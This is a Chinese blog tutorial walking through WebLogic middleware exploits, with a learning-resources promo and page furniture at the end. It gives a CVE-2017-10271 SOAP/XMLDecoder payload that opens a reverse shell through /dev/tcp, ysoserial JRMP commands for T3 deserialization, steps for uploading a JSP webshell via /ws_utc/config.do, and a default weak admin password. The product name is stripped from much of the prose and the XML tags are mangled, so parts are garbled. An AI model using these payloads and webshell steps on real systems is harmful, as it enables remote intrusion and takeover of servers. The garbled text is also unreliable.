深入浅出带你学习weblogic中间件常见漏洞_深入浅出带你学习weblogic中间件常见漏洞_零开始漏洞指南

深入浅出带你学习weblogic中间件常见漏洞_深入浅出带你学习weblogic中间件常见漏洞_零开始漏洞指南

本文正在参加「金石计划 . 瓜分6万现金大奖」

前文

上一篇文章给大家带来了JBOSS中间件漏洞的利用知识,不知道大家学习的如何了,今天给大家带来的是一个比较重要的中间件——漏洞利用的介绍,按我们之前的顺序,先学习一下什么是中间件。

什么是?

图片.png

是美国公司出品的一个,确切的说是一个基于架构的中间件,是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。可以看到的作用还是非常大的,它的特点可以概括为下面五个点:

1.标准性,支持多种标准。

2.可扩展性,集群能力强。

3.开发快,可以快速部署。

4.灵活性强。

5.可靠性强,安全性高。

下面展开来讲中间件常见的漏洞以及利用方法。

反序列化漏洞

这里面包含许多可以利用的反序列化漏洞,这里就以漏洞CVE-2017-10271为例来给大家说明,学习该漏洞前需要知道SOAP是什么,可以简单说明为web服务安全性内置协议,该漏洞攻击原理就是wls组件使用了来进行soap请求,攻击者构造SOAP(XML)格式的请求,在解析的过程中产生反序列化漏洞,如果插入我们的恶意数据,可导致执行任意命令。下面给大家展开演示:

环境配置好后访问下面的路径判断是否存在漏洞:

wls-wsat/CoordinatorPortType

图片.png

存在以上页面则可能存在漏洞,于是我们进一步利用,我们构造POST表单如下来进行反弹shell:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bashstring>
<oid>
<void index="1">
<string>-cstring>
<oid>
<void index="2">
<string>bash -i >& /dev/tcp/ip/port 0>&1string>
<oid>
array>
<void method="start"/><oid>
java>
work:WorkContext>
soapenv:Header>
<soapenv:Body/>
soapenv:Envelope>

图片.png

之后在进行监听即可,当然也有一件检测工具,有兴趣的小伙伴可以自己去找一下哦。

WLS Core 反序列化命令执行漏洞

的7001端口为控制台,如果设置为开放的话也同时会开启T3协议服务,该漏洞就是通过构造恶意的T3协议数据来进行攻击,该漏洞影响版本如下:

Oracle WebLogic Server10.3.6.0
Oracle WebLogic Server12.2.1.2
Oracle WebLogic Server12.2.1.3
Oracle WebLogic Server12.1.3.0

我们访问端口7001得到以下页面:

图片.png

同时使用nmap扫描到了存在T3协议,于是我们尝试利用此漏洞:

先使用工具启动一个JRMP ,JRMP是一个Java远程方法协议,使用以下代码构造攻击链接:

java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]

之后通过生成的EXP文件反弹SHELL到我们的端口:

python exp.py ip 7001 ysoserial.jar ip 114514 JRMPClient

成功后即可进行命令执行。

任意文件上传漏洞

该漏洞也是利用了的7001端口的,假设我们进入了后台,设置开启"启用Web服务测试页"选项,然后访问路径:

/ws_utc/config.do

然后修改work home dir的路径为:

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

修改的这个目录没有访问限制,之后我们回到上面文件的后台页面,进行上传JSP木马,会返回给我们一个时间戳:

图片.png

于是我们通过连接工具连接下面的路径:

ws_utc/css/config/keystore

即可成功连接木马。

弱口令

该漏洞也是利用了上面7001端口的后台应用,该后台存在弱口令:

weblogic Oracle@123

进入后我们就可以尝试上面的漏洞来进行,可以说这是一个很重要的跳板。

结语

今天讲解一下常见的中间件漏洞,多数以反序列化为主,可以看到要想好好利用还需要懂得工具的使用,有兴趣的小伙伴可以自己去搭建一个环境来进行测试,如果喜欢本文希望可以一键三连支持一下。

网络安全学习路线图(思维导图)

网络安全学习路线图可以是一个有助于你规划学习进程的工具。你可以在思维导图上列出不同的主题和技能,然后按照逻辑顺序逐步学习和掌握它们。这可以帮助你更清晰地了解自己的学习进展和下一步计划。

1. 网络安全视频资料

2. 网络安全笔记/面试题

3. 网安电子书PDF资料

如果你向网安入门到进阶的全套资料,我都打包整理好了,需要学习的小伙伴可以V我找我拿~

学网络安全/学黑客,零基础资料整理来啦~~~

~

  • 4
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值